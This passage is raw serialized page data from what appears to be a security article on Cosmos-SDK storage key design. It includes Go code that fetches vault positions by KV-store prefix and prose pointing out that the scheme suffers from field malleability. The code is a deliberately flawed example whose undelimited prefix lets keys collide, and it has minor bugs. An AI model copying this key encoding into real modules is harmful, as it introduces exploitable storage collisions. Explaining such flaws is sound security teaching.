2},{"type":21,"tag":153,"props":90322,"children":90323},{"style":214},[90324],{"type":26,"value":87062},{"type":21,"tag":153,"props":90326,"children":90327},{"style":160},[90328],{"type":26,"value":792},{"type":21,"tag":153,"props":90330,"children":90331},{"class":155,"line":26556},[90332,90336,90340,90344,90348,90352,90356,90360],{"type":21,"tag":153,"props":90333,"children":90334},{"style":192},[90335],{"type":26,"value":88768},{"type":21,"tag":153,"props":90337,"children":90338},{"style":160},[90339],{"type":26,"value":355},{"type":21,"tag":153,"props":90341,"children":90342},{"style":181},[90343],{"type":26,"value":87898},{"type":21,"tag":153,"props":90345,"children":90346},{"style":160},[90347],{"type":26,"value":189},{"type":21,"tag":153,"props":90349,"children":90350},{"style":181},[90351],{"type":26,"value":2456},{"type":21,"tag":153,"props":90353,"children":90354},{"style":160},[90355],{"type":26,"value":189},{"type":21,"tag":153,"props":90357,"children":90358},{"style":192},[90359],{"type":26,"value":89138},{"type":21,"tag":153,"props":90361,"children":90362},{"style":160},[90363],{"type":26,"value":87919},{"type":21,"tag":153,"props":90365,"children":90366},{"class":155,"line":26610},[90367],{"type":21,"tag":153,"props":90368,"children":90369},{"style":160},[90370],{"type":26,"value":26616},{"type":21,"tag":153,"props":90372,"children":90373},{"class":155,"line":26619},[90374,90378,90382,90386,90390,90394,90398,90402],{"type":21,"tag":153,"props":90375,"children":90376},{"style":192},[90377],{"type":26,"value":87889},{"type":21,"tag":153,"props":90379,"children":90380},{"style":160},[90381],{"type":26,"value":355},{"type":21,"tag":153,"props":90383,"children":90384},{"style":181},[90385],{"type":26,"value":87943},{"type":21,"tag":153,"props":90387,"children":90388},{"style":160},[90389],{"type":26,"value":189},{"type":21,"tag":153,"props":90391,"children":90392},{"style":192},[90393],{"type":26,"value":89388},{"type":21,"tag":153,"props":90395,"children":90396},{"style":160},[90397],{"type":26,"value":1670},{"type":21,"tag":153,"props":90399,"children":90400},{"style":192},[90401],{"type":26,"value":89138},{"type":21,"tag":153,"props":90403,"children":90404},{"style":160},[90405],{"type":26,"value":5909},{"type":21,"tag":153,"props":90407,"children":90408},{"class":155,"line":34974},[90409],{"type":21,"tag":153,"props":90410,"children":90411},{"emptyLinePlaceholder":16},[90412],{"type":26,"value":759},{"type":21,"tag":153,"props":90414,"children":90415},{"class":155,"line":34995},[90416,90420,90424,90428,90432,90436],{"type":21,"tag":153,"props":90417,"children":90418},{"style":192},[90419],{"type":26,"value":88972},{"type":21,"tag":153,"props":90421,"children":90422},{"style":198},[90423],{"type":26,"value":78713},{"type":21,"tag":153,"props":90425,"children":90426},{"style":192},[90427],{"type":26,"value":84531},{"type":21,"tag":153,"props":90429,"children":90430},{"style":160},[90431],{"type":26,"value":355},{"type":21,"tag":153,"props":90433,"children":90434},{"style":181},[90435],{"type":26,"value":87520},{"type":21,"tag":153,"props":90437,"children":90438},{"style":160},[90439],{"type":26,"value":773},{"type":21,"tag":153,"props":90441,"children":90442},{"class":155,"line":83248},[90443,90447],{"type":21,"tag":153,"props":90444,"children":90445},{"style":671},[90446],{"type":26,"value":89997},{"type":21,"tag":153,"props":90448,"children":90449},{"style":160},[90450],{"type":26,"value":792},{"type":21,"tag":153,"props":90452,"children":90453},{"class":155,"line":83261},[90454,90459],{"type":21,"tag":153,"props":90455,"children":90456},{"style":192},[90457],{"type":26,"value":90458},"        AddressMapPrefix",{"type":21,"tag":153,"props":90460,"children":90461},{"style":160},[90462],{"type":26,"value":792},{"type":21,"tag":153,"props":90464,"children":90465},{"class":155,"line":83269},[90466,90470],{"type":21,"tag":153,"props":90467,"children":90468},{"style":192},[90469],{"type":26,"value":89012},{"type":21,"tag":153,"props":90471,"children":90472},{"style":160},[90473],{"type":26,"value":792},{"type":21,"tag":153,"props":90475,"children":90476},{"class":155,"line":83277},[90477,90481],{"type":21,"tag":153,"props":90478,"children":90479},{"style":192},[90480],{"type":26,"value":89024},{"type":21,"tag":153,"props":90482,"children":90483},{"style":160},[90484],{"type":26,"value":792},{"type":21,"tag":153,"props":90486,"children":90487},{"class":155,"line":83285},[90488,90492],{"type":21,"tag":153,"props":90489,"children":90490},{"style":192},[90491],{"type":26,"value":89036},{"type":21,"tag":153,"props":90493,"children":90494},{"style":160},[90495],{"type":26,"value":792},{"type":21,"tag":153,"props":90497,"children":90498},{"class":155,"line":83325},[90499,90503],{"type":21,"tag":153,"props":90500,"children":90501},{"style":192},[90502],{"type":26,"value":89024},{"type":21,"tag":153,"props":90504,"children":90505},{"style":160},[90506],{"type":26,"value":792},{"type":21,"tag":153,"props":90508,"children":90509},{"class":155,"line":83333},[90510,90514],{"type":21,"tag":153,"props":90511,"children":90512},{"style":192},[90513],{"type":26,"value":89497},{"type":21,"tag":153,"props":90515,"children":90516},{"style":160},[90517],{"type":26,"value":792},{"type":21,"tag":153,"props":90519,"children":90521},{"class":155,"line":90520},60,[90522],{"type":21,"tag":153,"props":90523,"children":90524},{"style":160},[90525],{"type":26,"value":26616},{"type":21,"tag":153,"props":90527,"children":90529},{"class":155,"line":90528},61,[90530],{"type":21,"tag":153,"props":90531,"children":90532},{"style":160},[90533],{"type":26,"value":548},{"type":21,"tag":22,"props":90535,"children":90536},{},[90537],{"type":26,"value":90538},"We now have a proper example of how to serialize storage keys.",{"type":21,"tag":22,"props":90540,"children":90541},{},[90542,90544,90549],{"type":26,"value":90543},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":21,"tag":78,"props":90545,"children":90547},{"className":90546},[],[90548],{"type":26,"value":69396},{"type":26,"value":90550},", data should still be retrievable through original keys.",{"type":21,"tag":22,"props":90552,"children":90553},{},[90554,90556,90562,90564,90569],{"type":26,"value":90555},"Let's look at a case where we want to retrieve all ",{"type":21,"tag":78,"props":90557,"children":90559},{"className":90558},[],[90560],{"type":26,"value":90561},"map[Username]map[PositionName]Position",{"type":26,"value":90563}," associated with a ",{"type":21,"tag":78,"props":90565,"children":90567},{"className":90566},[],[90568],{"type":26,"value":87432},{"type":26,"value":90570}," from the storage. How can we safely accomplish this?",{"type":21,"tag":22,"props":90572,"children":90573},{},[90574,90576,90581,90583,90589],{"type":26,"value":90575},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":21,"tag":78,"props":90577,"children":90579},{"className":90578},[],[90580],{"type":26,"value":87503},{"type":26,"value":90582}," prefix. Below is an example of an attempt to fetch data with ",{"type":21,"tag":78,"props":90584,"children":90586},{"className":90585},[],[90587],{"type":26,"value":90588},"vaultId",{"type":26,"value":201},{"type":21,"tag":143,"props":90591,"children":90593},{"code":90592,"language":78461,"meta":7,"className":78462,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[90594],{"type":21,"tag":78,"props":90595,"children":90596},{"__ignoreMap":7},[90597,90613,90628,90677,90729,90758,90770,90816,90823,90869,90924,90931,90995,91056,91079,91098,91105,91112,91172,91231,91254,91273,91280,91287,91340,91388,91395,91402,91442,91471,91478,91485,91497],{"type":21,"tag":153,"props":90598,"children":90599},{"class":155,"line":156},[90600,90604,90609],{"type":21,"tag":153,"props":90601,"children":90602},{"style":170},[90603],{"type":26,"value":78597},{"type":21,"tag":153,"props":90605,"children":90606},{"style":181},[90607],{"type":26,"value":90608}," FetchPositionMapWithVaultId",{"type":21,"tag":153,"props":90610,"children":90611},{"style":160},[90612],{"type":26,"value":773},{"type":21,"tag":153,"props":90614,"children":90615},{"class":155,"line":166},[90616,90620,90624],{"type":21,"tag":153,"props":90617,"children":90618},{"style":192},[90619],{"type":26,"value":87544},{"type":21,"tag":153,"props":90621,"children":90622},{"style":214},[90623],{"type":26,"value":78718},{"type":21,"tag":153,"props":90625,"children":90626},{"style":160},[90627],{"type":26,"value":792},{"type":21,"tag":153,"props":90629,"children":90630},{"class":155,"line":225},[90631,90636,90640,90644,90648,90652,90656,90660,90664,90668,90673],{"type":21,"tag":153,"props":90632,"children":90633},{"style":160},[90634],{"type":26,"value":90635},") ([]",{"type":21,"tag":153,"props":90637,"children":90638},{"style":170},[90639],{"type":26,"value":69396},{"type":21,"tag":153,"props":90641,"children":90642},{"style":160},[90643],{"type":26,"value":211},{"type":21,"tag":153,"props":90645,"children":90646},{"style":214},[90647],{"type":26,"value":87449},{"type":21,"tag":153,"props":90649,"children":90650},{"style":160},[90651],{"type":26,"value":350},{"type":21,"tag":153,"props":90653,"children":90654},{"style":170},[90655],{"type":26,"value":69396},{"type":21,"tag":153,"props":90657,"children":90658},{"style":160},[90659],{"type":26,"value":211},{"type":21,"tag":153,"props":90661,"children":90662},{"style":214},[90663],{"type":26,"value":87466},{"type":21,"tag":153,"props":90665,"children":90666},{"style":160},[90667],{"type":26,"value":350},{"type":21,"tag":153,"props":90669,"children":90670},{"style":214},[90671],{"type":26,"value":90672},"Position",{"type":21,"tag":153,"props":90674,"children":90675},{"style":160},[90676],{"type":26,"value":2659},{"type":21,"tag":153,"props":90678,"children":90679},{"class":155,"line":239},[90680,90685,90689,90693,90697,90701,90705,90709,90713,90717,90721,90725],{"type":21,"tag":153,"props":90681,"children":90682},{"style":192},[90683],{"type":26,"value":90684},"    values",{"type":21,"tag":153,"props":90686,"children":90687},{"style":198},[90688],{"type":26,"value":78713},{"type":21,"tag":153,"props":90690,"children":90691},{"style":170},[90692],{"type":26,"value":51959},{"type":21,"tag":153,"props":90694,"children":90695},{"style":160},[90696],{"type":26,"value":211},{"type":21,"tag":153,"props":90698,"children":90699},{"style":214},[90700],{"type":26,"value":87449},{"type":21,"tag":153,"props":90702,"children":90703},{"style":160},[90704],{"type":26,"value":350},{"type":21,"tag":153,"props":90706,"children":90707},{"style":170},[90708],{"type":26,"value":69396},{"type":21,"tag":153,"props":90710,"children":90711},{"style":160},[90712],{"type":26,"value":211},{"type":21,"tag":153,"props":90714,"children":90715},{"style":214},[90716],{"type":26,"value":87466},{"type":21,"tag":153,"props":90718,"children":90719},{"style":160},[90720],{"type":26,"value":350},{"type":21,"tag":153,"props":90722,"children":90723},{"style":214},[90724],{"type":26,"value":90672},{"type":21,"tag":153,"props":90726,"children":90727},{"style":160},[90728],{"type":26,"value":80394},{"type":21,"tag":153,"props":90730,"children":90731},{"class":155,"line":382},[90732,90737,90741,90745,90749,90754],{"type":21,"tag":153,"props":90733,"children":90734},{"style":192},[90735],{"type":26,"value":90736},"    i",{"type":21,"tag":153,"props":90738,"children":90739},{"style":198},[90740],{"type":26,"value":78713},{"type":21,"tag":153,"props":90742,"children":90743},{"style":192},[90744],{"type":26,"value":80938},{"type":21,"tag":153,"props":90746,"children":90747},{"style":160},[90748],{"type":26,"value":355},{"type":21,"tag":153,"props":90750,"children":90751},{"style":181},[90752],{"type":26,"value":90753},"KVStorePrefixIterator",{"type":21,"tag":153,"props":90755,"children":90756},{"style":160},[90757],{"type":26,"value":773},{"type":21,"tag":153,"props":90759,"children":90760},{"class":155,"line":501},[90761,90766],{"type":21,"tag":153,"props":90762,"children":90763},{"style":192},[90764],{"type":26,"value":90765},"        kvStore",{"type":21,"tag":153,"props":90767,"children":90768},{"style":160},[90769],{"type":26,"value":792},{"type":21,"tag":153,"props":90771,"children":90772},{"class":155,"line":533},[90773,90778,90782,90786,90790,90795,90799,90804,90808,90812],{"type":21,"tag":153,"props":90774,"children":90775},{"style":192},[90776],{"type":26,"value":90777},"        fmt",{"type":21,"tag":153,"props":90779,"children":90780},{"style":160},[90781],{"type":26,"value":355},{"type":21,"tag":153,"props":90783,"children":90784},{"style":181},[90785],{"type":26,"value":87520},{"type":21,"tag":153,"props":90787,"children":90788},{"style":160},[90789],{"type":26,"value":189},{"type":21,"tag":153,"props":90791,"children":90792},{"style":671},[90793],{"type":26,"value":90794},"\"%s%d\"",{"type":21,"tag":153,"props":90796,"children":90797},{"style":160},[90798],{"type":26,"value":1670},{"type":21,"tag":153,"props":90800,"children":90801},{"style":192},[90802],{"type":26,"value":90803},"PositionMapPrefix",{"type":21,"tag":153,"props":90805,"children":90806},{"style":160},[90807],{"type":26,"value":1670},{"type":21,"tag":153,"props":90809,"children":90810},{"style":192},[90811],{"type":26,"value":90588},{"type":21,"tag":153,"props":90813,"children":90814},{"style":160},[90815],{"type":26,"value":5909},{"type":21,"tag":153,"props":90817,"children":90818},{"class":155,"line":542},[90819],{"type":21,"tag":153,"props":90820,"children":90821},{"style":160},[90822],{"type":26,"value":26616},{"type":21,"tag":153,"props":90824,"children":90825},{"class":155,"line":762},[90826,90830,90835,90839,90843,90848,90852,90856,90860,90865],{"type":21,"tag":153,"props":90827,"children":90828},{"style":1751},[90829],{"type":26,"value":5784},{"type":21,"tag":153,"props":90831,"children":90832},{"style":160},[90833],{"type":26,"value":90834}," ; ",{"type":21,"tag":153,"props":90836,"children":90837},{"style":192},[90838],{"type":26,"value":6471},{"type":21,"tag":153,"props":90840,"children":90841},{"style":160},[90842],{"type":26,"value":355},{"type":21,"tag":153,"props":90844,"children":90845},{"style":181},[90846],{"type":26,"value":90847},"Valid",{"type":21,"tag":153,"props":90849,"children":90850},{"style":160},[90851],{"type":26,"value":31143},{"type":21,"tag":153,"props":90853,"children":90854},{"style":192},[90855],{"type":26,"value":6471},{"type":21,"tag":153,"props":90857,"children":90858},{"style":160},[90859],{"type":26,"value":355},{"type":21,"tag":153,"props":90861,"children":90862},{"style":181},[90863],{"type":26,"value":90864},"Next",{"type":21,"tag":153,"props":90866,"children":90867},{"style":160},[90868],{"type":26,"value":18433},{"type":21,"tag":153,"props":90870,"children":90871},{"class":155,"line":776},[90872,90877,90881,90886,90890,90894,90898,90902,90906,90911,90915,90920],{"type":21,"tag":153,"props":90873,"children":90874},{"style":192},[90875],{"type":26,"value":90876},"        k",{"type":21,"tag":153,"props":90878,"children":90879},{"style":198},[90880],{"type":26,"value":78713},{"type":21,"tag":153,"props":90882,"children":90883},{"style":192},[90884],{"type":26,"value":90885}," strings",{"type":21,"tag":153,"props":90887,"children":90888},{"style":160},[90889],{"type":26,"value":355},{"type":21,"tag":153,"props":90891,"children":90892},{"style":181},[90893],{"type":26,"value":72337},{"type":21,"tag":153,"props":90895,"children":90896},{"style":160},[90897],{"type":26,"value":189},{"type":21,"tag":153,"props":90899,"children":90900},{"style":192},[90901],{"type":26,"value":6471},{"type":21,"tag":153,"props":90903,"children":90904},{"style":160},[90905],{"type":26,"value":355},{"type":21,"tag":153,"props":90907,"children":90908},{"style":181},[90909],{"type":26,"value":90910},"Key",{"type":21,"tag":153,"props":90912,"children":90913},{"style":160},[90914],{"type":26,"value":21072},{"type":21,"tag":153,"props":90916,"children":90917},{"style":192},[90918],{"type":26,"value":90919},"Seperator",{"type":21,"tag":153,"props":90921,"children":90922},{"style":160},[90923],{"type":26,"value":5909},{"type":21,"tag":153,"props":90925,"children":90926},{"class":155,"line":795},[90927],{"type":21,"tag":153,"props":90928,"children":90929},{"emptyLinePlaceholder":16},[90930],{"type":26,"value":759},{"type":21,"tag":153,"props":90932,"children":90933},{"class":155,"line":808},[90934,90939,90943,90947,90952,90956,90960,90964,90968,90973,90977,90982,90986,90990],{"type":21,"tag":153,"props":90935,"children":90936},{"style":192},[90937],{"type":26,"value":90938},"        username",{"type":21,"tag":153,"props":90940,"children":90941},{"style":198},[90942],{"type":26,"value":78713},{"type":21,"tag":153,"props":90944,"children":90945},{"style":181},[90946],{"type":26,"value":87861},{"type":21,"tag":153,"props":90948,"children":90949},{"style":160},[90950],{"type":26,"value":90951},"([]",{"type":21,"tag":153,"props":90953,"children":90954},{"style":214},[90955],{"type":26,"value":87062},{"type":21,"tag":153,"props":90957,"children":90958},{"style":160},[90959],{"type":26,"value":1670},{"type":21,"tag":153,"props":90961,"children":90962},{"style":192},[90963],{"type":26,"value":87934},{"type":21,"tag":153,"props":90965,"children":90966},{"style":160},[90967],{"type":26,"value":355},{"type":21,"tag":153,"props":90969,"children":90970},{"style":181},[90971],{"type":26,"value":90972},"DecodedLen",{"type":21,"tag":153,"props":90974,"children":90975},{"style":160},[90976],{"type":26,"value":189},{"type":21,"tag":153,"props":90978,"children":90979},{"style":192},[90980],{"type":26,"value":90981},"k",{"type":21,"tag":153,"props":90983,"children":90984},{"style":160},[90985],{"type":26,"value":211},{"type":21,"tag":153,"props":90987,"children":90988},{"style":300},[90989],{"type":26,"value":2996},{"type":21,"tag":153,"props":90991,"children":90992},{"style":160},[90993],{"type":26,"value":90994},"]))\n",{"type":21,"tag":153,"props":90996,"children":90997},{"class":155,"line":820},[90998,91002,91006,91010,91014,91019,91023,91028,91032,91036,91040,91044,91048,91052],{"type":21,"tag":153,"props":90999,"children":91000},{"style":192},[91001],{"type":26,"value":30442},{"type":21,"tag":153,"props":91003,"children":91004},{"style":160},[91005],{"type":26,"value":1670},{"type":21,"tag":153,"props":91007,"children":91008},{"style":192},[91009],{"type":26,"value":50710},{"type":21,"tag":153,"props":91011,"children":91012},{"style":198},[91013],{"type":26,"value":78713},{"type":21,"tag":153,"props":91015,"children":91016},{"style":192},[91017],{"type":26,"value":91018}," hex",{"type":21,"tag":153,"props":91020,"children":91021},{"style":160},[91022],{"type":26,"value":355},{"type":21,"tag":153,"props":91024,"children":91025},{"style":181},[91026],{"type":26,"value":91027},"Decode",{"type":21,"tag":153,"props":91029,"children":91030},{"style":160},[91031],{"type":26,"value":189},{"type":21,"tag":153,"props":91033,"children":91034},{"style":192},[91035],{"type":26,"value":87768},{"type":21,"tag":153,"props":91037,"children":91038},{"style":160},[91039],{"type":26,"value":1670},{"type":21,"tag":153,"props":91041,"children":91042},{"style":192},[91043],{"type":26,"value":90981},{"type":21,"tag":153,"props":91045,"children":91046},{"style":160},[91047],{"type":26,"value":211},{"type":21,"tag":153,"props":91049,"children":91050},{"style":300},[91051],{"type":26,"value":2996},{"type":21,"tag":153,"props":91053,"children":91054},{"style":160},[91055],{"type":26,"value":57732},{"type":21,"tag":153,"props":91057,"children":91058},{"class":155,"line":842},[91059,91063,91067,91071,91075],{"type":21,"tag":153,"props":91060,"children":91061},{"style":1751},[91062],{"type":26,"value":2607},{"type":21,"tag":153,"props":91064,"children":91065},{"style":192},[91066],{"type":26,"value":50811},{"type":21,"tag":153,"props":91068,"children":91069},{"style":198},[91070],{"type":26,"value":66680},{"type":21,"tag":153,"props":91072,"children":91073},{"style":170},[91074],{"type":26,"value":84215},{"type":21,"tag":153,"props":91076,"children":91077},{"style":160},[91078],{"type":26,"value":236},{"type":21,"tag":153,"props":91080,"children":91081},{"class":155,"line":3204},[91082,91086,91090,91094],{"type":21,"tag":153,"props":91083,"children":91084},{"style":1751},[91085],{"type":26,"value":81373},{"type":21,"tag":153,"props":91087,"children":91088},{"style":170},[91089],{"type":26,"value":84215},{"type":21,"tag":153,"props":91091,"children":91092},{"style":160},[91093],{"type":26,"value":1670},{"type":21,"tag":153,"props":91095,"children":91096},{"style":192},[91097],{"type":26,"value":85936},{"type":21,"tag":153,"props":91099,"children":91100},{"class":155,"line":3230},[91101],{"type":21,"tag":153,"props":91102,"children":91103},{"style":160},[91104],{"type":26,"value":2765},{"type":21,"tag":153,"props":91106,"children":91107},{"class":155,"line":3239},[91108],{"type":21,"tag":153,"props":91109,"children":91110},{"emptyLinePlaceholder":16},[91111],{"type":26,"value":759},{"type":21,"tag":153,"props":91113,"children":91114},{"class":155,"line":3253},[91115,91120,91124,91128,91132,91136,91140,91144,91148,91152,91156,91160,91164,91168],{"type":21,"tag":153,"props":91116,"children":91117},{"style":192},[91118],{"type":26,"value":91119},"        positionName",{"type":21,"tag":153,"props":91121,"children":91122},{"style":198},[91123],{"type":26,"value":78713},{"type":21,"tag":153,"props":91125,"children":91126},{"style":181},[91127],{"type":26,"value":87861},{"type":21,"tag":153,"props":91129,"children":91130},{"style":160},[91131],{"type":26,"value":90951},{"type":21,"tag":153,"props":91133,"children":91134},{"style":214},[91135],{"type":26,"value":87062},{"type":21,"tag":153,"props":91137,"children":91138},{"style":160},[91139],{"type":26,"value":1670},{"type":21,"tag":153,"props":91141,"children":91142},{"style":192},[91143],{"type":26,"value":87934},{"type":21,"tag":153,"props":91145,"children":91146},{"style":160},[91147],{"type":26,"value":355},{"type":21,"tag":153,"props":91149,"children":91150},{"style":181},[91151],{"type":26,"value":90972},{"type":21,"tag":153,"props":91153,"children":91154},{"style":160},[91155],{"type":26,"value":189},{"type":21,"tag":153,"props":91157,"children":91158},{"style":192},[91159],{"type":26,"value":90981},{"type":21,"tag":153,"props":91161,"children":91162},{"style":160},[91163],{"type":26,"value":211},{"type":21,"tag":153,"props":91165,"children":91166},{"style":300},[91167],{"type":26,"value":3033},{"type":21,"tag":153,"props":91169,"children":91170},{"style":160},[91171],{"type":26,"value":90994},{"type":21,"tag":153,"props":91173,"children":91174},{"class":155,"line":3301},[91175,91179,91183,91187,91191,91195,91199,91203,91207,91211,91215,91219,91223,91227],{"type":21,"tag":153,"props":91176,"children":91177},{"style":192},[91178],{"type":26,"value":30442},{"type":21,"tag":153,"props":91180,"children":91181},{"style":160},[91182],{"type":26,"value":1670},{"type":21,"tag":153,"props":91184,"children":91185},{"style":192},[91186],{"type":26,"value":50710},{"type":21,"tag":153,"props":91188,"children":91189},{"style":198},[91190],{"type":26,"value":78713},{"type":21,"tag":153,"props":91192,"children":91193},{"style":192},[91194],{"type":26,"value":91018},{"type":21,"tag":153,"props":91196,"children":91197},{"style":160},[91198],{"type":26,"value":355},{"type":21,"tag":153,"props":91200,"children":91201},{"style":181},[91202],{"type":26,"value":91027},{"type":21,"tag":153,"props":91204,"children":91205},{"style":160},[91206],{"type":26,"value":189},{"type":21,"tag":153,"props":91208,"children":91209},{"style":192},[91210],{"type":26,"value":88037},{"type":21,"tag":153,"props":91212,"children":91213},{"style":160},[91214],{"type":26,"value":1670},{"type":21,"tag":153,"props":91216,"children":91217},{"style":192},[91218],{"type":26,"value":90981},{"type":21,"tag":153,"props":91220,"children":91221},{"style":160},[91222],{"type":26,"value":211},{"type":21,"tag":153,"props":91224,"children":91225},{"style":300},[91226],{"type":26,"value":3033},{"type":21,"tag":153,"props":91228,"children":91229},{"style":160},[91230],{"type":26,"value":57732},{"type":21,"tag":153,"props":91232,"children":91233},{"class":155,"line":3346},[91234,91238,91242,91246,91250],{"type":21,"tag":153,"props":91235,"children":91236},{"style":1751},[91237],{"type":26,"value":2607},{"type":21,"tag":153,"props":91239,"children":91240},{"style":192},[91241],{"type":26,"value":50811},{"type":21,"tag":153,"props":91243,"children":91244},{"style":198},[91245],{"type":26,"value":66680},{"type":21,"tag":153,"props":91247,"children":91248},{"style":170},[91249],{"type":26,"value":84215},{"type":21,"tag":153,"props":91251,"children":91252},{"style":160},[91253],{"type":26,"value":236},{"type":21,"tag":153,"props":91255,"children":91256},{"class":155,"line":3355},[91257,91261,91265,91269],{"type":21,"tag":153,"props":91258,"children":91259},{"style":1751},[91260],{"type":26,"value":81373},{"type":21,"tag":153,"props":91262,"children":91263},{"style":170},[91264],{"type":26,"value":84215},{"type":21,"tag":153,"props":91266,"children":91267},{"style":160},[91268],{"type":26,"value":1670},{"type":21,"tag":153,"props":91270,"children":91271},{"style":192},[91272],{"type":26,"value":85936},{"type":21,"tag":153,"props":91274,"children":91275},{"class":155,"line":3364},[91276],{"type":21,"tag":153,"props":91277,"children":91278},{"style":160},[91279],{"type":26,"value":2765},{"type":21,"tag":153,"props":91281,"children":91282},{"class":155,"line":3376},[91283],{"type":21,"tag":153,"props":91284,"children":91285},{"emptyLinePlaceholder":16},[91286],{"type":26,"value":759},{"type":21,"tag":153,"props":91288,"children":91289},{"class":155,"line":3393},[91290,91294,91298,91302,91306,91310,91315,91319,91323,91328,91332,91336],{"type":21,"tag":153,"props":91291,"children":91292},{"style":1751},[91293],{"type":26,"value":2607},{"type":21,"tag":153,"props":91295,"children":91296},{"style":192},[91297],{"type":26,"value":64935},{"type":21,"tag":153,"props":91299,"children":91300},{"style":160},[91301],{"type":26,"value":1670},{"type":21,"tag":153,"props":91303,"children":91304},{"style":192},[91305],{"type":26,"value":81064},{"type":21,"tag":153,"props":91307,"children":91308},{"style":198},[91309],{"type":26,"value":78713},{"type":21,"tag":153,"props":91311,"children":91312},{"style":192},[91313],{"type":26,"value":91314}," values",{"type":21,"tag":153,"props":91316,"children":91317},{"style":160},[91318],{"type":26,"value":211},{"type":21,"tag":153,"props":91320,"children":91321},{"style":192},[91322],{"type":26,"value":87768},{"type":21,"tag":153,"props":91324,"children":91325},{"style":160},[91326],{"type":26,"value":91327},"]; ",{"type":21,"tag":153,"props":91329,"children":91330},{"style":198},[91331],{"type":26,"value":23315},{"type":21,"tag":153,"props":91333,"children":91334},{"style":192},[91335],{"type":26,"value":81064},{"type":21,"tag":153,"props":91337,"children":91338},{"style":160},[91339],{"type":26,"value":236},{"type":21,"tag":153,"props":91341,"children":91342},{"class":155,"line":3405},[91343,91348,91352,91356,91360,91364,91368,91372,91376,91380,91384],{"type":21,"tag":153,"props":91344,"children":91345},{"style":192},[91346],{"type":26,"value":91347},"            values",{"type":21,"tag":153,"props":91349,"children":91350},{"style":160},[91351],{"type":26,"value":211},{"type":21,"tag":153,"props":91353,"children":91354},{"style":192},[91355],{"type":26,"value":87768},{"type":21,"tag":153,"props":91357,"children":91358},{"style":160},[91359],{"type":26,"value":11387},{"type":21,"tag":153,"props":91361,"children":91362},{"style":198},[91363],{"type":26,"value":2367},{"type":21,"tag":153,"props":91365,"children":91366},{"style":181},[91367],{"type":26,"value":87861},{"type":21,"tag":153,"props":91369,"children":91370},{"style":160},[91371],{"type":26,"value":189},{"type":21,"tag":153,"props":91373,"children":91374},{"style":170},[91375],{"type":26,"value":69396},{"type":21,"tag":153,"props":91377,"children":91378},{"style":160},[91379],{"type":26,"value":211},{"type":21,"tag":153,"props":91381,"children":91382},{"style":214},[91383],{"type":26,"value":87466},{"type":21,"tag":153,"props":91385,"children":91386},{"style":160},[91387],{"type":26,"value":57732},{"type":21,"tag":153,"props":91389,"children":91390},{"class":155,"line":3427},[91391],{"type":21,"tag":153,"props":91392,"children":91393},{"style":160},[91394],{"type":26,"value":2765},{"type":21,"tag":153,"props":91396,"children":91397},{"class":155,"line":3448},[91398],{"type":21,"tag":153,"props":91399,"children":91400},{"emptyLinePlaceholder":16},[91401],{"type":26,"value":759},{"type":21,"tag":153,"props":91403,"children":91404},{"class":155,"line":3456},[91405,91410,91414,91418,91422,91426,91430,91434,91438],{"type":21,"tag":153,"props":91406,"children":91407},{"style":192},[91408],{"type":26,"value":91409},"        values",{"type":21,"tag":153,"props":91411,"children":91412},{"style":160},[91413],{"type":26,"value":211},{"type":21,"tag":153,"props":91415,"children":91416},{"style":192},[91417],{"type":26,"value":87768},{"type":21,"tag":153,"props":91419,"children":91420},{"style":160},[91421],{"type":26,"value":51248},{"type":21,"tag":153,"props":91423,"children":91424},{"style":192},[91425],{"type":26,"value":88037},{"type":21,"tag":153,"props":91427,"children":91428},{"style":160},[91429],{"type":26,"value":11387},{"type":21,"tag":153,"props":91431,"children":91432},{"style":198},[91433],{"type":26,"value":2367},{"type":21,"tag":153,"props":91435,"children":91436},{"style":192},[91437],{"type":26,"value":10153},{"type":21,"tag":153,"props":91439,"children":91440},{"style":160},[91441],{"type":26,"value":236},{"type":21,"tag":153,"props":91443,"children":91444},{"class":155,"line":3493},[91445,91449,91453,91458,91462,91467],{"type":21,"tag":153,"props":91446,"children":91447},{"style":192},[91448],{"type":26,"value":29647},{"type":21,"tag":153,"props":91450,"children":91451},{"style":160},[91452],{"type":26,"value":18031},{"type":21,"tag":153,"props":91454,"children":91455},{"style":192},[91456],{"type":26,"value":91457},"iterator",{"type":21,"tag":153,"props":91459,"children":91460},{"style":160},[91461],{"type":26,"value":355},{"type":21,"tag":153,"props":91463,"children":91464},{"style":181},[91465],{"type":26,"value":91466},"Value",{"type":21,"tag":153,"props":91468,"children":91469},{"style":160},[91470],{"type":26,"value":721},{"type":21,"tag":153,"props":91472,"children":91473},{"class":155,"line":3509},[91474],{"type":21,"tag":153,"props":91475,"children":91476},{"style":160},[91477],{"type":26,"value":2765},{"type":21,"tag":153,"props":91479,"children":91480},{"class":155,"line":3517},[91481],{"type":21,"tag":153,"props":91482,"children":91483},{"style":160},[91484],{"type":26,"value":539},{"type":21,"tag":153,"props":91486,"children":91487},{"class":155,"line":3526},[91488,91492],{"type":21,"tag":153,"props":91489,"children":91490},{"style":1751},[91491],{"type":26,"value":19687},{"type":21,"tag":153,"props":91493,"children":91494},{"style":192},[91495],{"type":26,"value":91496}," values\n",{"type":21,"tag":153,"props":91498,"children":91499},{"class":155,"line":3607},[91500],{"type":21,"tag":153,"props":91501,"children":91502},{"style":160},[91503],{"type":26,"value":548},{"type":21,"tag":22,"props":91505,"children":91506},{},[91507,91509,91515,91516,91522,91524,91529,91531,91536,91538,91543,91545,91551,91553,91559],{"type":26,"value":91508},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":21,"tag":78,"props":91510,"children":91512},{"className":91511},[],[91513],{"type":26,"value":91514},"vaultId = 